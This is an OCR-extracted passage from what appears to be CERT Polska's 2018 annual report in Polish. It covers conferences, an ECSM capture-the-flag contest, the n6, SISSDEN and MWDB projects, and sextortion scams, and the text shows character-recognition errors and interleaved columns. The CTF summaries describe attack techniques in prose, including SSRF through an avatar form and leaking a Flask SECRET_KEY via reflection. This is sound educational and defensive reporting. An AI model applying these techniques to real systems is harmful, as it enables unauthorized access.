12 https://www.cert.pl/news/single/techniczne-aspekty-organizacji-zawodow-i-cwiczen-ctf/

NASK



Rysunek 7. Wystgpienie dr Aleksandry Przegalinskiej podczas
SECURE 2018.

Jednak SECURE to nie tylko coroczna jesienna
konferencja. 23 maja 2018 r. odbyto sie wyda-

rzenie pod nazwag ,SECURE Early Bird”, ktére
skupito sie wylgcznie na aspektach technicznych
i praktycznych. Wydarzenie dotyczyto detekcji
mechanizmow wirtualizacji przez ztosliwe opro-
gramowanie (Carsten Willems, VMRay), fuzzin-
gu interpreterow w poszukiwaniu podatnosci
(Kamil Frankowicz, CERT Polska), przeszukiwa-
nia duzych zbioréw ztosliwego oprogramowania
(Jarostaw Jedynak) oraz podatnosci w optyma-
lizacji procesoréw (Michat Leszczynski, CERT
Polska).

Pod markg SECURE odbyliSmy takze w ciggu
roku cykl spotkan z przedstawicielami biznesu,
poszukujgc synergii w dziataniach na rzecz edu-
kacji oraz sposobéw wykorzystania mozliwosci
CERT Polska i NASK PIB w realnym budowaniu
krajowego systemu cyberbezpieczenstwa.

Europejski Miesigc Cyberbezpieczenstwa

N
i
.)
‘-
-~ P

BEZPIECZENSTWA
CYBERNETYCZNEGO

Od 2012 r. w pazdzierniku obchodzony jest Eu-
ropejski Miesigc Cyberbezpieczenstwa. Jest to
inicjatywa Komisji Europejskiej oraz Agencji Unii
Europejskiej ds. Bezpieczenstwa Sieci i Informa-
cji (ENISA). W ramach akcji “European Cyber-
security Month (ECSM)” kazdy z krajow czton-
kowskich co roku organizuje wydarzenia majace
poprawi¢ $wiadomo$¢ o zagrozeniach wystepu-
jacych w internecie.

Zespot CERT Polska podejmuje inicjatywy maja-
ce na celu zwigkszenie swiadomosci uzytkowni-
kow oraz specjalistow bezpieczenstwa teleinfor-
matycznego. Jedna z takich inicjatyw, wpisanych
w akcje ECSM, jest dwudniowa konferencja SE-
CURE (patrz str. 24).

Podczas ECSM 2018 nie zabrakto réwniez kon-
kursu Capture The Flag, ktory sktadat sie fgcznie
z szesciu zadan z kategorii: atakowanie aplikacji
webowych, forensics, inzynieria wsteczna oraz
kryptografia. Zwyciezcami zostaty trzy pierwsze
osoby, ktérym udato sie rozwigzaé komplet za-
dan. Ponizej prezentujemy ogdlny opis kazdego
z wyzwan, jednoczeénie przypominajac, ze wy-
brane konkursy archiwalne wcigz sg dostepne
na stronie hack.cert.pl/challenges.

Zadanie “crackme” skfadato sie z programu wy-
konywalnego, ktory prosit o wpisanie flagi, a na-
stepnie informowal, czy jest ona poprawna czy
tez nie. Po deasemblacji programu nietrudno byto
zauwazy¢, ze fragmenty kodu odpowiedzialne
za weryfikacje flagi zostaty zaszyfrowane. Sama
flaga sprawdzana byta w trzybajtowych blokach,
wiec zadanie mozna byto rozwigzaé za pomo-
cg techniki “reverse debugging”, poprzez odpo-
wiednig modyfikacje kodu aplikacji albo reczne
zdjecie kazdej warstwy szyfrowania kodu.

Zadanie “notes” to prosta aplikacja webowa ofe-
rujgca notatnik on-line i podstawowy widok profi-
lu uzytkownika. Oczekiwanym rozwigzaniem za-
dania bylo przeprowadzenie ataku SSRF (ang.
Server Side Request Forgery) poprzez formularz
dodawania awatara. Podczas takiej operacji,
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serwer kazdorazowo $ciggat obrazek z podane-
go linku. Programista aplikacji sprawit, ze “dla
wygody” kazda sesja z adresu localhost otrzy-
mywata prawa administratora, mozliwe wiec byto
naduzycie formularza dodawania awatara i w ten
sposob wykonanie operacji z konta o podwyz-
szonych uprawnieniach.

W zadaniu “kpn” otrzymujemy 32-bitowy plik wy-
konywalny ELF. Po jego uruchomieniu widzimy
wiadomos$¢ zachecajacg do gry w “kamien, pa-
pier, nozyce” oraz informacje, ze - aby otrzymac
flage - potrzebne jest 100 wygranych z rzedu.
Program posiada kilka btedoéw implementacyj-
nych, ktére pozwalajg z duzym prawdopodobien-
stwem przewidzie¢ wartos¢ ziarna losowosci
uzywanego w funkcji rand(), a nastepnie odnie$¢
pasmo sukcesOw w zwigzku z petng znajomo-
Scig przyszitych ruchéw komputera-przeciwnika.

“Zipowa forteca”, jak sama nazwa wskazuje,
skladata sie z pojedynczego pliku archiwum
w formacie ZIP, ktéry nalezato wypakowac. Nie-
stety, préba wykonania tej czynnosci konczyta
sie, w zaleznosci od uzytego narzedzia, komuni-
katem o uszkodzonym pliku lub pro$bg o podanie
hasta. Konieczne byto wiec przyjrzenie sie pliko-
wi z bliska - najlepiej hexedytorem oraz skon-
sultowanie swoich obserwacji ze specyfikacjg
formatu ZIP. Prawidtowe podzielenie pliku na
mniejsze czesci umozliwiato odpakowanie naj-
pierw hasta do wlasciwego archiwum z flaga,
a pbzniej samej flagi.

Biuletyn Ouch!

Od 2011 roku CERT Polska przygotowuje polska
wersje biuletynu edukacyjnego “Ouch!”. Jest to
publikacja Instytutu SANS, w formie dwustroni-
cowego miesiecznika, poruszajgcego aspekty
cyberbezpieczenstwa w codziennym styku
z technologig jezykiem zrozumiatym dla wszyst-
kich.

W 2018 roku z “Ouch!” mozna byto dowiedzie¢
sie m.in. o tym, czym jest cyberbezpieczny dom,

Zadanie “Przeszukanie” zawierato aplikacje we-
bowg z zaawansowang wyszukiwarkg opartg
o sktadnie Apache Lucene. W celu rozwigzania
zadania nalezalo wykras¢ zawarto$¢ zmien-
nej konfiguracyjnej SECRET_KEY w aplikaciji
napisanej z uzyciem frameworka Flask. Btad
w implementacji umozliwiat na niemal nieograni-
czone uzycie refleksji na wyszukiwanych obiek-
tach, co po znalezieniu odpowiednich referen-
cji umozliwiato odwotanie sie bezposrednio do
app.__dict__. Pozyskanie tresci flagi byto wtedy
mozliwe za pomocg techniki zblizonej do “blind
SQL injection”, zaadaptowanej do tej konkretnej
sytuaciji.

W zadaniu “outsourz3d” nalezato w krétkim cza-
sie przeprowadzi¢ inzynierie wsteczng wielu
podobnych do siebie aplikacji wykonywalnych,
a konkretnie - dla kazdej z nich znalez¢ prawi-
diowe hasto. Kod w aplikacjach wykorzysty-
wat relatywnie proste operacje, tzn. kazdy test
sprawdzat doktadnie jeden znak i opierat sie na
prostych operacjach (alternatywa wykluczajaca,
dodawanie, odejmowanie, rotacja bitowa itp.).
W zwigzku z tym, bardzo dobrym narzedziem
do rozwigzania tego problemu byt framework do
analizy symbolicznej angr™.

Petne opisy zadan znajdujg sie na naszym blo-
gu™.

jak bezpiecznie korzystaé z poczty elektronicz-
nej, o socjotechnice czy konsekwencjach GDPR.

“OUCHY” jest udostepniony na licencji Creative
Commons BY-NC-ND 3.0, co oznacza, ze biu-
letyn moze by¢ dowolnie rozpowszechniany
w kazdej organizacji, pod warunkiem, ze nie
jest wykorzystywany w celach komercyjnych.
Wszystkie polskie wydania mozna znalez¢ pod
adresem: http://www.cert.pl/ouch.

'3 https://angr.io/
4 https://www.cert.pl/news/single/ecsm-2018-rozwiazania-zadan/
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Projekty

SOASP

W 2018 kontynuowali$my projekt Strengthening
operational aspects of cyber-security capacities
in Poland (SOASP). Jego celem jest zwigkszenie
mozliwosci operacyjnych i analitycznych zespo-
tu, ze szczegdlnym uwzglednieniem obowigz-
kow wynikajgcych z ustawy o krajowym systemie
cyberbezpieczenstwa (wiecej szczegdtdw na
temat ustawy: znajduje sie w rozdziale ,Zmiany
w sposobie zgtaszania incydentdw zwigzanych
z wejsciem w zycie ustawy o krajowym syste-
mie cyberbezpieczenstwa” na str. 14). Wszyst-
kie prace opisane ponizej sg wspotfinansowane
przez program CEF (Connecting Europe Facili-
ty), numer akcji 2016-PL-1A-0127.

Rozwéj systemu Cuckoo

Cuckoo Sandbox to popularny system do au-
tomatycznej analizy szkodliwego oprogramo-
wania, tzw. sandbox. Narzedzie jest darmowe
i dostepne na otwartej licencji. We wspétpracy
z autorami Cuckoo (Hatching.io) zostaty rozwi-
niete mozliwosci analizy statycznej, ktéra umoz-
liwia wydobywanie kluczowych informacji o ba-
danych prébkach, w szczegolno$ci szczegoty
zwigzane z komunikacjg z serwerami Command
and Control (adresy IP, klucze szyfrujgce, ziarna
DGA). Dodatkowo wzmocniono zabezpieczenia
sandboxa przed niektorymi technikami, ktére
szkodliwe oprogramowanie stosuje w celu utrud-
nienia jego analizy. Podsumowanie prac zostato
opublikowane na oficjalnym blogu:

https://hatching.io/blog/onemon-cuckoo-release.

Udostepnienie serwisu MWDB

W ramach prac w projekcie SOASP udostepnili-
Smy mozliwos¢ korzystania z naszego repozyto-
rium ztosliwego oprogramowania, a takze do au-
tomatycznych analiz statycznych i dynamicznych.
Wiecej informacji znajduje sie na stronie str. 32.

Wydanie n6 na otwartej licencji

n6 (Network Security Incident eXchange) to nasz

autorski system do automatycznego zbierania,

przetwarzania i dystrybucji informacji na temat

zagrozen sieciowych. Pozwala on naszemu ze-

spotowi na przekazywanie danych do wtascicieli

sieci, administratorow i operatoréw. Informacje

0 zagrozeniach, ktére udostepniamy to m.in.:

- zainfekowane komputery (boty),

- strony wytudzajgce dane dostepowe (phishing),

- infrastruktura sterujgca botnetami,

- strony rozpowszechniajgce szkodliwe oprogra-
mowanie,

- zrédta atakéw na ustugi sieciowe,

- i wiele innych.

System obstuguje wiele rodzajow zrodet informa-
cji, w tym pochodzgce od innych CSIRT-6w, firm
komercyjnych, organizacji non-profit i niezalez-
nych badaczy. Wykorzystujemy go do przetwa-
rzania i dostarczania do odpowiednich odbior-
céw milionéw zdarzeh bezpieczenstwa dziennie.
W 2018 roku przy pomocy n6 przetworzylismy
ponad 350 min zdarzen bezpieczenstwa. Szcze-
gotowe statystyki znajdujg sie w ostatnim roz-
dziale niniejszego raportu.

Po kilku latach rozwoju zdecydowalismy sie na
udostepnienie oprogramowania catej spotecz-
nosci zespotéw reagowania na incydenty bez-
pieczehstwa oraz wszystkim, ktérzy potrzebujg
przetworzy¢ znaczne ilosci informaciji o zagroze-
niach (Indicators of Compromise). Kod zrédto-
wy jest dostepny na naszym profilu w serwisie
GitHub'®.

Kazda organizacja w Polsce moze bezptat-
nie uzyska¢ dostep do danych znajdujgcych
sie w naszej instancji n6, ktére dotyczg jej sie-
ci. Szczegdly znajdujg sie na stronie projektu:
https://n6.cert.pl/.

'S http://www.cuckoosandbox.org/
'8 https://github.com/CERT-Polska/n6
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SISSDEN

Kontynuujemy prace nad globalnym systemem
monitorowania atakéw na publicznie dostepne
ustugi sieciowe. W ramach projektu SISSDEN
utrzymywana jest sie¢ sensoréw opartych na
nisko-interaktywnych honeypotach, czyli putap-
kach emulujgcych rzeczywiste ustugi, ktére reje-
strujg wszystkie proby atakdéw.

Na koniec 2018 r. mozemy pochwali¢ sie wdro-
zeniem 9 réznych honeypotéw monitorujgcych

szereg ustug, w tym SSH, Telnet, WWW, RDP,
VNC, SMTP, interfejsy systemdéw przemysto-
wych, czy ustugi, ktére mogg zostaé naduzyte
do przeprowadzenia atakéw DDoS (doktadniej
Distributed Reflected Denial of Service), np.
otwarte serwery DNS. Udalo nam sie rowniez
przekroczy¢ poziom 200 aktywnych sond sys-
temu, pokrywajgc 6 kontynentéw oraz prawie
wszystkie kraje w Europie. Ponizej zamieszcza-
my mapy, ktére obrazujg liczbe monitorowanych
publicznych adreséw IP na przetomie roku 2018
i 2019 (jedna sonda najczesciej posiada kilka
publicznych adresow).

Rysunek 8. Mapy obrazujgce liczbe monitorowanych publicznych adreséw IP na przetomie roku 2018 i 2019.
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Z naszych obserwacji wynika, ze obecnie naj-
czesciej atakowang ustuga jest Telnet, czyli pro-
tokot wykorzystywany do zdalnego zarzgdzania
urzgdzeniami (np. routery, kamery). Logowania
na domyslne konta poprzez Telnet jest wyko-
rzystywane przez wiele botnetéw, m.in. przez
opisywany przez nas w zesztych latach Mirai'.
Wykres ponizej przedstawia liczbe atakéw na
ustugi Telnet i SSH rejestrowane przez nasze

10,000,000 —

8,000,000 —

6,000,000

Count

4,000,000

2,000,000

honeypoty w ujeciu tygodniowym. Pod koniec
roku obserwowali$my niecate 2 miliony atakow
dziennie, czyli ponad 12 milionéw tygodnio-
wo. Staty wzrost liczby rejestrowanych zdarzen
W ciggu roku czesciowo wynika z powiekszania
sieci sensoréw, jednak od sierpnia mozna za-
uwazy¢ istotne zwiekszenie intensywnos$ci ata-
kéw na protokdt Telnet, ktéry dominuje w naszym
zestawieniu.

@ telnet
®SSH

T T T T T T T T T T T
2018-02-01 2018-03-01 2018-04-01 2018-05-01 2018-06-01 2018-07-01 2018-08-01 2018-09-01 2018-10-01 2018-11-01 2018-12-01

Wykres 1. Liczba atakéw na ustugi Telnet i SSH rejestrowane przez honeypoty projektu SISSDEN

w ujeciu tygodniowym.

Zagrozenia zidentyfikowane dzieki sieci ho-
neypotdw sg przekazywane operatorom sieci
i zespotom reagowania na zagrozenia w po-
staci darmowych raportdw wysylanych przez
Shadowserver (https://www.shadowserver.org/).
Shadowserver jest organizacjg non-profit wspie-
rajgca organy porzadku publicznego, CSIRT-y
oraz inne podmioty na catym Swiecie w celu
zwalczania botnetéw i innych zagrozen. Aby
otrzymywac raporty dotyczgce swojej sieci wy-
starczy zapisa¢ sie poprzez portal uzytkownika
SISSDEN: https://portal.sissden.eu/. Funkcjo-
nalnos$¢ portalu bedzie sukcesywnie rozbudowy-
wana w kolejnym roku.

Drugie istotne narzedzie stworzone w ramach
projektu to system monitorujgcy darknet (tzw.
teleskop sieciowy). System byt uzywany przez
caly rok do analizy istotnych zdarzen, takich jak
rekordowe ataki DDoS w lutym®'°. Do przepro-
wadzenia wspomnianych atakéw wykorzystano
wzmochnienie (tzw. Distributed Reflected Denial
of Service) postugujgc sie niezabezpieczonymi
serwerami z uruchomiong ustuga Memcache.
Analiza danych z darknetu pozwolita ustali¢, ze
port UDP uzywany przez Memcache byt celem
duzych skanowan w dniach poprzedzajgcych
pierwsze ataki. llustruje to wykres ponizej, ktory
przedstawia liczbe pakietow na port wykorzysty-
wany przez Memcache.

7 Krajobraz bezpieczenstwa polskiego internetu 2016. https://www.cert.pl/PDF/Raport_CP_2016.pdf

'8 https://githubengineering.com/ddos-incident-report/

'® https://www.netscout.com/blog/asert/netscout-arbor-confirms-17-tbps-ddos-attack-terabit-attack-era
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Wykres 2. Liczba pakietow na port wykorzystywany przez Memcache.

Skala monitorowanej przestrzeni adresowej po-
zwala na doktadng obserwacje rozproszonych
skanowan portéw oraz efektow atakéw DoS
wykorzystujgcych pakiety ze sfatszowanymi ad-
resami zrodtowymi (zazwyczaj tzw. SYN flood).
Srednio rejestrujemy az pét miliona pakietéw
na minute, czyli ok. 25 miliardéw miesiecznie, z
czego 80% to pakiety TCP. Caty ruch jest na bie-
zgco analizowany, a informacje o wykrytych ata-
kach dystrybuujemy wykorzystujgc platforme n6
(patrz str. 27). W 2019 planujemy dalszy rozwoj
systemu, m.in. poprzez implementacje algoryt-
méw automatycznie wykrywajgcych anomalie,
co pozwoli nam z wyprzedzeniem identyfikowac
podejrzang aktywnosc¢ sieciows.

Duza cze$¢ naszych prac w projekcie dotyczy
analizy szkodliwego oprogramowania. W ra-
mach projektu stworzyliSmy i utrzymujemy sys-
tem do $ledzenia aktywno$ci botnetéw: mtrac-
ker. Szczegdty techniczne dotyczace narzedzia
mozna znalez¢ na naszej stronie?°. W roku 2018
mtracker byt uzywany do monitorowania dzia-
tan 16 rodzin malware, m.in. Emotet?!, Tofsee?
i Ramnit®.

Projekt realizowany jest w europejskim konsor-
cjum, w ktérym NASK pemni role koordynatora
oraz jednego z gtéwnych wykonawcéw. Szcze-

gotowe informacje oraz wybrane analizy znaj-
dujg sie na oficjalnej stronie: https://sissden.eul/.
Biezgce informacje publikujemy na Twitterze
(@sissden). Projekt SISSDEN otrzymat finanso-
wanie z Programu Ramowego Unii Europejskiej
Horyzont 2020 (H2020-DS-2015-1) w ramach
grantu nr 700176.

RegSOC

W potowie 2018 r.,, wspdlnie z Politechnikg
Wroctawska (lider konsorcjum) oraz Instytutem
Technik Innowacyjnych EMAG, rozpoczeliSmy
prace nad projektem RegSOC (Regionalne Cen-
trum Bezpieczenstwa Cybernetycznego). Celem
projektu jest przygotowanie i uruchomienie pro-
totypu modelowego rozwigzania regionalnego
centrum cyberbezpieczenstwa ze szczegd6lnym
uwzglednieniem specyfiki podmiotéw publicz-
nych, w tym jednostek administracji rzadowej
oraz samorzgdowe;j.

W ramach projektu NASK zajmuje sie tematykag
Sledzenia kampanii spamowych. W obszarze
zainteresowan sg e-maile zawierajgce szko-
dliwe oprogramowanie lub odnosniki do stron
phishingowych, bedgce najczesciej wykorzysty-
wang metodg ataku, skierowang zaréwno na

20 https://www.cert.pl/news/single/mtracker-sposob-sledzenie-zlosliwego-oprogramowania/
21 https://lwww.cert.pl/news/single/analiza-zlosliwego-oprogramowania-emotet-v4/

22 https://lwww.cert.pl/news/single/glebsze-spojrzenie-moduly-tofsee/
2 https://lwww.cert.pl/news/single/ramnit-doglebna-analiza/
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uzytkownikéw indywidualnych, jak rowniez firmy
oraz instytucje. Szybka identyfikacja oraz ana-
liza kampanii jest kluczowa z punktu widzenia
dziatalnosci CERT Polska, szczegdlnie w celu
ostrzegania uzytkownikéw oraz neutralizowania
zagrozen.

W ramach projektu opracowalismy prototypowe
narzedzie do zbierania i wstepnej analizy spa-
mu. Potrafi ono dziataé jako tzw. ,spamtrap”,
czyli system, ktéry zbiera wiadomosci wysytane
na nieistniejgce skrzynki pocztowe, utworzone
specjalnie na potrzeby monitorowania zagro-
zen. Nasze narzedzie mozna réwniez uruchomié
w trybie honeypota (putapki) udajgcego otwarty
serwer pocztowy, czyli tzw. serwer open-relay.
Jest to niepoprawnie skonfigurowana ustuga
pocztowa, ktéra moze zosta¢ wykorzystana do
rozsytania spamu. W obu przypadkach zbieramy
e-maile, ktére z zatozenia mozna traktowaé jako
niepozgdane.

Obecnie prowadzimy prace nad algorytmami
stuzgcymi do grupowania spamu w zbiory powig-
zanych wiadomosci, co pozwoli wykrywaé nowe
kampanie niemal w czasie rzeczywistym. W ko-
lejnych krokach zostang stworzone systemy do
automatycznej analizy tresci i zatgcznikdw, co
utatwi okreslenie celéw atakow.

Ponadto istotnym zadaniem NASK w projekcie
jest okreslenie modelu wspdtpracy pomiedzy
centrum regionalnym a zespotami CSIRT pozio-
mu krajowego, w szczegodlnosci CSIRT NASK.
Model wspétpracy powinien okresla¢ m.in. spo-
séb i zakres wymiany informacji oraz zgtaszania
incydentéw.

Projekt jest wspétfinansowany przez Narodowe
Centrum Badan i Rozwoju w ramach programu
CyberSecldent - ,Cyberbezpieczenstwo i eToz-
samos$c¢” i zakonczy sie w roku 2021.

Cyber Exchange

W listopadzie oficjalnie rozpoczeliSmy program
wymiany ekspertow pomiedzy 11 europejski-
mi zespotami typu CERT. Staze zagraniczne

pozwolg specjalistom z krajowych, rzadowych
i akademickich zespotéw reagowania na po-
znanie specyfiki pracy analogicznych instytuciji
w innych krajach, wymiane wiedzy i doswiad-
czeh oraz nawigzanie bezposrednich kontaktow,
ktore sg kluczowym elementem sprawnej wspét-
pracy miedzynarodowe;.

Oprécz CERT Polska, w wymianie biorg udziat
pracownicy podobnych zespotéw z Austrii, Chor-
wacji, Czech, Grecji, totwy, Luksemburga, Mal-
ty, Rumunii i Stowacji. Liderem konsorcjum jest
czeskie stowarzyszenie CZ.NIC, w ramach kto-
rego funkcjonuje CSIRT.CZ.

Wiekszos¢ stazy odbedzie sie w roku 2019.
Projekt zaktada réwniez wspotprace w warstwie
technicznej, polegajgcg na wymianie narzedzi
informatycznych do analizy zagrozen w sieci
i wspierajgcych obstuge incydentow.

Projekt jest finansowany z funduszy Unii Euro-
pejskiej w ramach programu Komisji Europej-
skiej Connecting Europe Facility?*. Jego realiza-
cja zakonczy sie pod koniec 2020 r.

Forensics

Kolejnym projektem Zespotu CERT Polska roz-
poczetym juz w 2017 r. jest Zaawansowane
Laboratorium Kryminalistyki Sledczej, wspot-
tworzone z Zaktadem Cyberbezpieczenstwa
Politechniki Warszawskiej w ramach programu
CyberSecldent Narodowego Centrum Badan
i Rozwoju. CyberSecldent to program badaw-
czo-rozwojowy majgcy podnies¢ poziom bezpie-
czenhstwa cyberprzestrzeni RP poprzez zwiek-
szenie dostepnosci rozwigzan sprzetowych
i programistycznych.

W ramach projektu eksperci zespotu CERT Polska,
wspolnie z zespotem z Politechniki Warszawskiej,
opracowujg zestaw specjalistycznych narzedzi
oraz rozwigzan. Celem jest wsparcie organéw $ci-
gania w walce z przestepczo$cia, ktora coraz cze-
8ciej korzysta z nowoczesnych metod komunikaciji
oraz archiwizacji danych.

Powotany przez CERT Polska w 2018 r. zespot
analiz informatyki $ledczej zajmuje sie testowa-
niem opracowanych rozwigzan w realnych wa-
runkach. Wspiera organy $cigania w zakresie

% nr grantu 2017-EU-IA-0118
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dziatan terenowych i analizy zgromadzonego
materiatu dowodowego.

W ramach projektu prowadzone sg prace nad
rozbudowg kompetenc;ji z zakresu rozpoznania

radiowego, wchodzgcegow sktad mobilnegolabo-
ratorium, ktére pozwala na wykrywanie nieupraw-

System MWDB

Analiza ztosliwego oprogramowania to jedno
z wyzwan, przed ktérymi stoi niemal kazdy ze-
spét odpowiedzialny za cyberbezpieczenstwo.
Wirusy czesto dystrybuowane sg na szerokg
skale, zatem skoordynowana wymiana infor-
macji na ich temat pomiedzy organizacjami
moze przynie$¢ obopdlne korzysci. W zwigzku
z tym, na poczatku roku 2019 zespo6t CERT Pol-
ska udostepnit na specjalnych zasadach swoje
wewnetrzne repozytorium malware dla ze-
wnetrznych analitykéw.

nionych transmisji oraz zrédet sygnatow. Mobil-
ne laboratorium zostato dodatkowo wyposazone
W nawigacje inercyjng umozliwiajgcg wykonanie
doktadnych pomiaréw zrodet sygnatu, zaréwno
w podziemnych garazach jak i obszarach, w kté-
rych wystepujg zaktécenia sygnatu GPS - tere-
nowe bgdz umysine.

Kazdy uzytkownik posiadajacy konto w MWDB
moze zobaczyé dodane przez siebie prébki zto-
Sliwego oprogramowania w odwréconym po-
rzadku chronologicznym. Kazda prébka dodana
do repozytorium automatycznie trafia do sys-
teméw analitycznych CERT Polska, a niektére
z nich zostajg wytypowane do recznej analizy.

Rysunek 9. Strona gtowna systemu MWDB prezentujgca ostatnio dodane prébki (dane archiwalne).
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Z probkami znajdujgcymi sie w MWDB powigzane sg podstawowe dane, takie jak poszczegdine
skréty kryptograficzne (hashe), rodzaj pliku, jego rozmiar itp.

Repozytorium sledzi réwniez relacje pomiedzy powigzanymi probkami w postaci drzewiastej. Przy-
ktadowo, jezeli prébka ztosliwego oprogramowania prébuje zainstalowaé na komputerze ofiary do-
datkowe moduty, to zostang one dowigzane w MWDB jako probki potomne (“child”).

Rysunek 10. Szczegdtowy widok probki w MWDB. Widoczne sq odwotania do droppera oraz probki plikow wykonywalnych

z nastepnych etapow infekcji.

W zamian za dodanie prébki do systemu, mozna
zobaczy¢ informacje pozyskane w toku analizy,
np. przypisanie do konkretnej rodziny ztosliwe-
go oprogramowania oraz konfiguracje statyczng
(jezeli uda sie jg pozyskac). Poprzez “konfigu-
racje” nalezy rozumie¢ wszystkie szczegotowe
informacje, ktére uda sie wydoby¢ bezposrednio
z danej prébki, np. adresy serweréow C&C czy
wykorzystywane klucze szyfrujace.

Przyznawanie dostepu podmiotom zewnetrznym

odbywa sie w oparciu o nastepujgce zasady:

* uzytkownik posiada dostep do prébek, ktére
sam dodat do MWDB;

* w zamian za dodanie prébki, uzytkowniko-
wi udostepniane sg informacje na jej temat
pozyskane w toku automatycznych i manu-
alnych analiz (z zastrzezeniem, Zze analizie
manualnej poddawane sg tylko wybrane
prébki);

* probki znajdujagce sie w MWDB mogg byc¢
przez nas udostepniane podmiotom ze-
wnetrznym.

System jest przeznaczony dla analitykow zaj-
mujgcych sie zlosliwym oprogramowaniem.
O utworzenie konta mogg wnioskowac osoby,
ktére wskazg swojg afiliacje, np. jako pracownika
CERT-u, firmowego zespotu odpowiedzialnego
za cyberbezpieczenstwo, albo uczelni zajmuja-
cej sie badaniami w zakresie ztoSliwego opro-
gramowania. Zainteresowanych zapraszamy do
kontaktu pod adresem info@cert.pl, jednocze-
$nie zastrzegajgc sobie prawo do odpowiedzi
wylgcznie na zatwierdzone zgtoszenia.
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nask CERT.PLO.

Rosnie liczba ztosliwych
aplikacji dla urzadzen
mobilnych, przede wszystkim
z systemem Android.

Wiele z nich, miedzy innymi
podszywajacych sie

pod legalne aplikacje
finansowe, dostepnych byto
do pobrania w oficjalnym
sklepie.

))

Przemystaw Jaroszewski,
Kierownik CERT Polska




W tej czesci raportu opisujemy wybrane - nowe bgdz zyskujgce na znaczeniu - zagrozenia, ktore
w szczegolny sposéb dotyczyty polskich uzytkownikow internetu.

Sextortion scams - “Znam Twoje hasto”

Pierwsza zaobserwowana przez CERT Polska w 2018 roku kampania okreslona mianem ,sextorion
scams”, ktorej celem byto wytudzenie pieniedzy od uzytkownikéw, miata miejsce w kwietniu.

Wiadomosci rozsytane byty w wielu réznych wariantach, ale wszystkie opieraty sie na takim samym
schemacie. Atakujgcy sugerowali, ze posiadajg kompromitujgce ofiare nagranie zdobyte poprzez
ztosliwg reklame umieszczong w serwisie z filmami dla dorostych lub zainstalowane na komputerze
zto$liwe oprogramowanie. Przelanie okupu w wysokosci okoto 300 USD miato ustrzec ofiare przed
publikacjg wideo.

Rysunek 11. Przykiad wiadomo$ci typu ,sextortion scam’.

Podobna kampania zostata zaobserwowana w potowie lipca. Wydawaé by sie mogto, ze schemat
ataku nie roznit sie od poprzedniego: “zaptac bitcoiny na wskazane konto, bo mamy nagrania”, ale
byta w nim znaczgca zmiana. W pierwszym zdaniu otrzymanego maila ofiara mogta przeczytaé
swoje prawdziwe hasto (bez wyjasnienia, z jakiego serwisu pochodzi, zapewne w nadziei, ze to
samo hasto uzywane jest w wielu miejscach). Roznita sie tez kwota okupu, ktdéra wzrosta z okoto
300 USD do okoto 3000 USD. Wiekszo$¢ danych ofiar pochodzita z wyciekéw Linkedin i Dropbox.
Zamieszczenie w tresci maila hasta uzytkownika prawdopodobnie miato na celu wywarcie silnej
psychologicznej presji. Przestepca zapewniat, Ze w momencie wejscia na strone z tresciami por-
nograficznymi, uzyskat dostep do komputera przez protokét RDP. Deklarowat, Zze jest w posiadaniu
kontaktow z portali spotecznosciowych oraz skrzynki pocztowej. Potowa wideo zawierata nagrany
ekran, a druga potowa - widok z wbudowanej kamery.

Przyktadowe zarejestrowane przez CERT Polska adresy portfeli Bitcoin rozsytane w tej kampanii:
1Je5CbHkcdjnMfbna78y4FfomRHOX2xawU
1A0QBR1GHmM41XrrbZ6orcH4eKASnummvGgr
14nBgkd48gJ8WLNni8KSgwEx3A1ZWz53SAd
18gyZFAVhZ7pVBaFaTP5LDsoyGbuwFCSQa
1PhAzthZMgAaFHBAEDLinbNk6yZBVVEyrr
1PjUiw20esScKsba9uwVanMPzpzr3Fnl1DX

nask CERT.PLO.



Od tego czasu CERT Polska notowat pojedyncze zgtoszenia zwigzane z opisywang prébg wytudze-
nia. W pazdzierniku 2018 r. liczba zgtoszeh (zapewne takze liczba rozsytanych wiadomosci) wyraz-
nie sie zwiekszyta. Zmienita sie réwniez kwota do zaptaty, ktéra zmalata do 800 USD.

Rysunek 12. Przyktad wiadomosci typu ,sextortion scam”.

Oprécz wiadomosci podobnych do tych z lipca, pojawit sie tez nowy schemat dziatania. Tym razem
przestepca informowat, ze kilka miesiecy wczesniej wlamat sie na poczte elektroniczng uzytkownika
za pomocg hasta podanego na jakiej$ stronie internetowej. Ostrzegat ofiare, ze zmiana hasta nie po-
moze, poniewaz zainstalowane na komputerze ztosliwe oprogramowanie zgtosi ten fakt atakujgce-
mu. Tak jak poprzednio, odbiorca wiadomosci byt informowany o rzekomym zdjeciu zrobionym przy
uzyciu kamery oraz zrzucie ekranu. Dodatkowo, rzekomo zainstalowane ztosliwe oprogramowanie
miato przekazaé sprawcy, ze wiadomosc¢ zostata odczytana i od tego momentu ofiara miata dokfad-
nie 48 godzin na zaptacenie okupu. Ciekawym i nowym zabiegiem bylo zastosowanie spoofingu
adresu e-mail, przez co wiadomo$¢ wygladata, jakby zostata wystana z konta ofiary do samej siebie.
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Rysunek 13. Przyktad wiadomoS$ci typu ,sextortion scam’.

Kolejna interesujgca modyfikacja tej popularnej w 2018 r. formy ataku zostata zaobserwowana w
listopadzie. Tres¢ wiadomosci byta prawie taka sama jak poprzednio, ale zostata przettumaczona
na jezyk polski. Pod koniec maila dodano informacje, ze dane zostaty juz przestane na serwer ze-
wnetrzny. Pokazuje to, ze kampania - w przeciwienstwie do poprzednich - zostata skierowana tylko
do polskojezycznych uzytkownikdw.

Rysunek 14. Przyktad wiadomoS$ci typu ,sextortion scam” skierowanej do polskich uzytkownikéw.
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Ostatnia tego typu kampania w 2018 r. zostata zaobserwowana przez analitykéw firmy Proofpoint.
Wiadomosci byly w jezyku angielskim. Sama tres¢ byta bardzo podobna do wiadomo$ci z pazdzier-
nika z tg zmiang, ze przestepca nie podawat swojego portfela Bitcoin tylko link do chmury, gdzie
miat znajdowac sie opisywany przez niego materiat kompromitujgcy ofiare. Po kliknieciu w link ofiara
pobierata stealer AZORult, a ostatecznie dane byly szyfrowane przez ransomware Gandcrab.

Androidowe kampanie ztosliwego oprogramowania

W 2018 r. obserwowalismy szereg kampanii ztosliwego oprogramowania, wymierzonych w polskich
i zagranicznych uzytkownikow systemu Android. Celem kazdej kampanii byto nakfonienie uzytkow-
nika do instalacji szkodliwej aplikacji. Na skutek przydzielonych uprawnieri umozliwiata ona atakuja-
cemu przejecie kontroli nad urzgdzeniem ofiary. Do gtéwnych zadan malware’u nalezato wykradanie
danych logowania do aplikacji bankowych oraz przechwytywanie komunikacji SMS i powiadomien
z kodami autoryzujgcymi transakcje. Wybrane rodziny ztosliwego oprogramowania, w zaleznosci od
dystrybuowanego wariantu, oferowaty dodatkowe funkcje. Najpopularniejsze z nich to: dostep do mi-
